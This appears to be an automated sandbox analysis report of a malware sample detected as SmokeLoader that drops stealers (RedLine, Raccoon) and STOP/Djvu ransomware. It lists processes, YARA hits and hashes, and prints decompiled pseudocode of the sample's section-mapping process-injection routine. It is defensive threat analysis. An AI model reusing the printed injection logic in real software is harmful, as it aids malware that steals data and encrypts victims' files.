Referrer-Policy: no-referrer X-XSS-Protection: 0 ETag: W/"8-OEKKaYqxIiVAaA56t44dc56a/Rw" Data Raw: 72 65 63 65 69 76 65 64 Data Ascii: received

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49704	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\253.exe

Timestamp	Direction	Data
2022-10-03 15:35:31 UTC	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2022-10-03 15:35:32 UTC	IN	HTTP/1.1 429 Too Many Requests Date: Mon, 03 Oct 2022 15:35:32 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2022-10-03 15:35:32 UTC	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 5572, Parent PID: 3320

General

Target ID:	0
Start time:	17:33:54
Start date:	03/10/2022
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0x400000
File size:	150016 bytes
MD5 hash:	417429FD2A6EFC7F87C32696C8545146
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.327806138.0000000000719000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.327538196.00000000005F0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.327538196.00000000005F0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.327509086.00000000005E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000003.244640816.00000000005F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.328002456.00000000021E1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.328002456.00000000021E1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 3320, Parent PID: 5572

General

Target ID:	1
Start time:	17:34:02
Start date:	03/10/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff75ed40000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000000.307013938.00000000023E1000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000001.00000000.307013938.00000000023E1000.00000020.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: sfrvjvvPID: 5148, Parent PID: 1100

General

Target ID:	11
Start time:	17:34:52
Start date:	03/10/2022
Path:	C:\Users\user\AppData\Roaming\sfrvjvv
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\sfrvjvv
Imagebase:	0x400000
File size:	150016 bytes
MD5 hash:	417429FD2A6EFC7F87C32696C8545146
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000B.00000002.472600397.0000000000640000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000B.00000002.472600397.0000000000640000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000B.00000002.473007456.0000000000678000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000B.00000002.472415838.00000000005A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000B.00000002.473353545.0000000000871000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000B.00000002.473353545.0000000000871000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000B.00000003.459694158.00000000005C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 5152, Parent PID: 3320

General

Target ID:	12
Start time:	17:34:52
Start date:	03/10/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 /s C:\Users\user~1\AppData\Local\Temp\FED8.dll
Imagebase:	0x7ff73c8f0000
File size:	24064 bytes
MD5 hash:	D78B75FC68247E8A63ACBA846182740E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1196, Parent PID: 5152

General

Target ID:	13
Start time:	17:34:52
Start date:	03/10/2022
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	/s C:\Users\user~1\AppData\Local\Temp\FED8.dll
Imagebase:	0x340000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Crypt, Description: Yara detected CryptOne packer, Source: 0000000D.00000002.452217293.0000000005090000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: 253.exePID: 1692, Parent PID: 3320

General

Target ID:	14
Start time:	17:34:53
Start date:	03/10/2022
Path:	C:\Users\user\AppData\Local\Temp\253.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\253.exe
Imagebase:	0x400000
File size:	679936 bytes
MD5 hash:	D8A18175CDDDF3915358213914DC8EB9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000E.00000002.448264858.00000000022E3000.00000040.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000E.00000002.450132397.00000000023D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000E.00000002.450132397.00000000023D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 959.exePID: 416, Parent PID: 3320

General

Target ID:	15
Start time:	17:34:55
Start date:	03/10/2022
Path:	C:\Users\user\AppData\Local\Temp\959.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\959.exe
Imagebase:	0x400000
File size:	2624689 bytes
MD5 hash:	130142D90FF770C5628ABCC833585D0B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 0000000F.00000002.427521225.000000000076E000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 0000000F.00000003.417147539.0000000000800000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 1156, Parent PID: 416

General

Target ID:	16
Start time:	17:34:56
Start date:	03/10/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6edaf0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 1364, Parent PID: 3320

General

Target ID:	17
Start time:	17:34:56
Start date:	03/10/2022
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x30000
File size:	3611360 bytes
MD5 hash:	166AB1B9462E5C1D6D18EC5EC0B6A5F7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000011.00000000.373415476.0000000002C70000.00000040.80000000.00040000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: 253.exePID: 4188, Parent PID: 1692

General

Target ID:	18
Start time:	17:34:59
Start date:	03/10/2022
Path:	C:\Users\user\AppData\Local\Temp\253.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\253.exe
Imagebase:	0x400000
File size:	679936 bytes
MD5 hash:	D8A18175CDDDF3915358213914DC8EB9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000012.00000000.381594239.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000012.00000000.420031906.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000012.00000000.420031906.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000012.00000000.420031906.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000012.00000000.420031906.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000012.00000000.430997531.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000012.00000000.430997531.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000012.00000000.430997531.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000012.00000000.430997531.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000012.00000002.451482759.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000012.00000002.451482759.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000012.00000002.451482759.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000012.00000002.451482759.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000012.00000000.404293183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000012.00000000.404293183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000012.00000000.404293183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000012.00000000.404293183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000012.00000000.425225650.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000012.00000000.425225650.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000012.00000000.425225650.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000012.00000000.425225650.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000012.00000000.428495458.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000012.00000000.428495458.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000012.00000000.428495458.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000012.00000000.428495458.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 4540, Parent PID: 3320

General

Target ID:	19
Start time:	17:34:59
Start date:	03/10/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff75ed40000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: AppLaunch.exePID: 100968, Parent PID: 416

General

Target ID:	20
Start time:	17:35:17
Start date:	03/10/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Imagebase:	0xff0000
File size:	98912 bytes
MD5 hash:	6807F903AC06FF7E1670181378690B22
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000014.00000003.430460941.0000000000994000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000014.00000003.429527772.000000000095D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000014.00000002.491953856.0000000000997000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 5572, Parent PID: 3320COMMON

Execution Graph

Execution Coverage:	7%
Dynamic/Decrypted Code Coverage:	64.2%
Signature Coverage:	28.4%
Total number of Nodes:	134
Total number of Limit Nodes:	9

Executed Functions

Function 0040156B Relevance: 10.7, APIs: 7, Instructions: 193
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			E0040156B(void* __edx, void* __eflags, void* __fp0, intOrPtr _a4, void* _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _v8;
				long _v12;
				void* _v16;
				void* _v20;
				char _v44;
				char _v52;
				long _v56;
				long _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr _v96;
				char _v100;
				void* _v288;
				void* __ebx;
				void* __edi;
				intOrPtr _t88;
				long _t91;
				struct _GUID _t99;
				struct _GUID _t101;
				PVOID* _t103;
				PVOID* _t105;
				PVOID* _t122;
				PVOID* _t124;
				void* _t128;
				intOrPtr _t129;
				long* _t132;
				void* _t174;
				long _t175;
				long* _t182;
				intOrPtr* _t183;
				HANDLE* _t184;
				HANDLE* _t185;
				intOrPtr _t198;
				void* _t199;
				void* _t200;
				long _t218;
				void* _t223;

				_t223 = __fp0;
				_push(0x36c);
				_t200 = _t199 + 4;
				L00401271(0x15a2, _t128, _t174, __eflags);
				_t129 = _a4;
				_t175 = 0;
				_v56 = 0;
				if(gs != 0) {
					_v56 = _v56 + 1;
				}
				while(1) {
					_t88 =  *((intOrPtr*)(_t129 + 0x48))();
					if(_t88 != 0) {
						break;
					}
					 *((intOrPtr*)(_t129 + 0x1c))(0x3e8);
				}
				_v96 = _t88;
				_t182 =  &_v100;
				 *_t182 = _t175;
				 *((intOrPtr*)(_t129 + 0x4c))(_t88, _t182);
				_t91 =  *_t182;
				if(_t91 == 0) {
					L63:
					return L00401271(0x15a2, _t129, _t175, _t222);
				}
				_t132 =  &_v52;
				 *_t132 = _t91;
				_t132[1] = _t175;
				_t183 =  &_v44;
				 *((intOrPtr*)(_t129 + 0x10))(_t183, 0x18);
				 *_t183 = 0x18;
				_push( &_v52);
				_push(_t183);
				_push(0x40);
				_push( &_v20);
				if( *((intOrPtr*)(_t129 + 0x70))() == 0 && NtDuplicateObject(_v20, 0xffffffff, 0xffffffff,  &_v16, _t175, _t175, 2) == 0) {
					_v12 = _t175;
					_t99 =  &_v84;
					 *(_t99 + 4) = _t175;
					 *_t99 = 0x5000;
					_t184 =  &_v88;
					if(NtCreateSection(_t184, 6, _t175, _t99, 4, 0x8000000, _t175) == 0) {
						_push(_v84);
						_pop( *_t25);
						_t122 =  &_v72;
						 *_t122 = _t175;
						if(NtMapViewOfSection( *_t184, 0xffffffff, _t122, _t175, _t175, _t175,  &_v60, 1, _t175, 4) == 0) {
							_t124 =  &_v64;
							 *_t124 = _t175;
							if(NtMapViewOfSection( *_t184, _v16, _t124, _t175, _t175, _t175,  &_v60, 1, _t175, 4) == 0) {
								_t198 = _v72;
								 *((intOrPtr*)(_t129 + 0x20))(_t175, _t198, 0x104);
								 *((intOrPtr*)(_t198 + 0x208)) = _a16;
								_v12 = _v12 + 1;
							}
						}
					}
					_t101 =  &_v84;
					 *(_t101 + 4) = _t175;
					 *_t101 = _a12 + 0x10000;
					_t185 =  &_v92;
					if(NtCreateSection(_t185, 0xe, _t175, _t101, 0x40, 0x8000000, _t175) == 0) {
						while(_v12 != 0) {
							_push(_v84);
							_pop( *_t46);
							_t103 =  &_v76;
							 *_t103 = _t175;
							if(NtMapViewOfSection( *_t185, 0xffffffff, _t103, _t175, _t175, _t175,  &_v60, 1, _t175, 4) != 0) {
								goto L63;
							}
							_t105 =  &_v68;
							 *_t105 = _t175;
							_t218 = NtMapViewOfSection( *_t185, _v16, _t105, _t175, _t175, _t175,  &_v60, 1, _t175, 0x20);
							if(_t218 != 0) {
								goto L63;
							}
							L21();
							if(_t218 != 0 || _t218 == 0) {
								L25:
								asm("lodsb");
								goto L43;
								asm("loop 0xffffffc7");
								switch(0x4017c8) {
								}
							} else {
								if(_t218 < 0) {
									continue;
								}
								asm("cmpsd");
								_t200 = _t200 - 1;
								goto L25;
							}
						}
					}
				}
			}

0x0040156b
0x0040158b
0x00401593
0x0040159d
0x004015a2
0x004015a5
0x004015a7
0x004015b0
0x004015b2
0x004015b2
0x004015b5
0x004015b5
0x004015ba
0x00000000
0x00000000
0x004018dd
0x004018dd
0x004015c0
0x004015c3
0x004015c6
0x004015ca
0x004015cd
0x004015d1
0x004018d6
0x00000000
0x00401909
0x004015d7
0x004015da
0x004015dc
0x004015df
0x004015e5
0x004015e8
0x004015f6
0x004015f7
0x004015f8
0x004015fa
0x00401600
0x00401623
0x00401626
0x00401629
0x0040162c
0x00401632
0x00401647
0x00401649
0x0040164c
0x0040164f
0x00401652
0x0040166a
0x0040166c
0x0040166f
0x00401688
0x0040168a
0x00401694
0x0040169a
0x004016a0
0x004016a0
0x00401688
0x0040166a
0x004016a3
0x004016af
0x004016b2
0x004016b4
0x004016c9
0x004016cf
0x004016d9
0x004016dc
0x004016df
0x004016e2
0x004016fa
0x00000000
0x00000000
0x00401700
0x00401703
0x0040171a
0x0040171c
0x00000000
0x00000000
0x00401722
0x00401727
0x0040172f
0x004017a4
0x004017a5
0x004017b1
0x004017c0
0x00000000
0x0040172b
0x0040172b
0x00000000
0x00000000
0x0040172d
0x0040172e
0x00000000
0x0040172e
0x00401727
0x004016cf
0x004016c9

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401683
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C4
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 00000000.00000002.327319549.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 52a7bd6609b09e3f64181f4a62f3e6ae527d8b12ecb64344e11fb61d3a63f3c8
Instruction ID: 4e6cf93ab59cf35e3a3a48edc2c016eb71cd13ef699383e81882b5db717c4c63
Opcode Fuzzy Hash: 52a7bd6609b09e3f64181f4a62f3e6ae527d8b12ecb64344e11fb61d3a63f3c8
Instruction Fuzzy Hash: DD514D71900208FBEB209F95CC49FAF7BB8FF85710F10412AF912BA2E5E6749901DB25

Uniqueness

Uniqueness Score: -1.00%

Function 00401581 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E00401581(void* __ebx, void* __edx, void* __edi, void* __eflags, void* __fp0) {
				intOrPtr _t88;
				long _t91;
				void* _t93;
				struct _GUID _t99;
				struct _GUID _t101;
				PVOID* _t103;
				PVOID* _t105;
				PVOID* _t122;
				PVOID* _t124;
				intOrPtr _t129;
				long* _t133;
				long _t176;
				long* _t184;
				intOrPtr* _t186;
				HANDLE* _t187;
				HANDLE* _t188;
				void* _t201;
				void* _t202;
				void* _t204;
				void* _t205;
				long _t224;
				void* _t229;

				_t229 = __fp0;
				asm("lodsb");
				_push(0x36c);
				_t205 = _t204 + 4;
				L00401271(0x15a2, __ebx, __edi, __eflags);
				_t129 =  *((intOrPtr*)(_t202 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t202 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t202 - 0x34)) =  *((intOrPtr*)(_t202 - 0x34)) + 1;
				}
				while(1) {
					_t88 =  *((intOrPtr*)(_t129 + 0x48))();
					if(_t88 != 0) {
						break;
					}
					 *((intOrPtr*)(_t129 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t202 - 0x5c)) = _t88;
				_t184 = _t202 - 0x60;
				 *_t184 = _t176;
				 *((intOrPtr*)(_t129 + 0x4c))(_t88, _t184);
				_t91 =  *_t184;
				if(_t91 != 0) {
					_t133 = _t202 - 0x30;
					 *_t133 = _t91;
					_t133[1] = _t176;
					_t186 = _t202 - 0x28;
					 *((intOrPtr*)(_t129 + 0x10))(_t186, 0x18);
					 *_t186 = 0x18;
					_push(_t202 - 0x30);
					_push(_t186);
					_push(0x40);
					_push(_t202 - 0x10);
					if( *((intOrPtr*)(_t129 + 0x70))() == 0 && NtDuplicateObject( *(_t202 - 0x10), 0xffffffff, 0xffffffff, _t202 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t202 - 8) = _t176;
						_t99 = _t202 - 0x50;
						 *(_t99 + 4) = _t176;
						 *_t99 = 0x5000;
						_t187 = _t202 - 0x54;
						if(NtCreateSection(_t187, 6, _t176, _t99, 4, 0x8000000, _t176) == 0) {
							 *_t25 =  *(_t202 - 0x50);
							_t122 = _t202 - 0x44;
							 *_t122 = _t176;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t122, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
								_t124 = _t202 - 0x3c;
								 *_t124 = _t176;
								if(NtMapViewOfSection( *_t187,  *(_t202 - 0xc), _t124, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
									_t201 =  *(_t202 - 0x44);
									 *((intOrPtr*)(_t129 + 0x20))(_t176, _t201, 0x104);
									 *((intOrPtr*)(_t201 + 0x208)) =  *((intOrPtr*)(_t202 + 0x14));
									 *(_t202 - 8) =  *(_t202 - 8) + 1;
								}
							}
						}
						_t101 = _t202 - 0x50;
						 *(_t101 + 4) = _t176;
						 *_t101 =  *((intOrPtr*)(_t202 + 0x10)) + 0x10000;
						_t188 = _t202 - 0x58;
						if(NtCreateSection(_t188, 0xe, _t176, _t101, 0x40, 0x8000000, _t176) == 0) {
							while( *(_t202 - 8) != 0) {
								 *_t46 =  *(_t202 - 0x50);
								_t103 = _t202 - 0x48;
								 *_t103 = _t176;
								if(NtMapViewOfSection( *_t188, 0xffffffff, _t103, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
									_t105 = _t202 - 0x40;
									 *_t105 = _t176;
									_t224 = NtMapViewOfSection( *_t188,  *(_t202 - 0xc), _t105, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 0x20);
									if(_t224 == 0) {
										L21();
										if(_t224 != 0 || _t224 == 0) {
											L25:
											asm("lodsb");
											goto L43;
											asm("loop 0xffffffc7");
											switch(0x4017c8) {
											}
										} else {
											if(_t224 < 0) {
												continue;
											} else {
												asm("cmpsd");
												_t205 = _t205 - 1;
												goto L25;
											}
										}
									}
								}
								goto L63;
							}
						}
					}
				}
				L63:
				_t93 = L00401271(0x15a2, _t129, _t176, _t228);
				return _t93;
			}

0x00401581
0x00401581
0x0040158b
0x00401593
0x0040159d
0x004015a2
0x004015a5
0x004015a7
0x004015b0
0x004015b2
0x004015b2
0x004015b5
0x004015b5
0x004015ba
0x00000000
0x00000000
0x004018dd
0x004018dd
0x004015c0
0x004015c3
0x004015c6
0x004015ca
0x004015cd
0x004015d1
0x004015d7
0x004015da
0x004015dc
0x004015df
0x004015e5
0x004015e8
0x004015f6
0x004015f7
0x004015f8
0x004015fa
0x00401600
0x00401623
0x00401626
0x00401629
0x0040162c
0x00401632
0x00401647
0x0040164c
0x0040164f
0x00401652
0x0040166a
0x0040166c
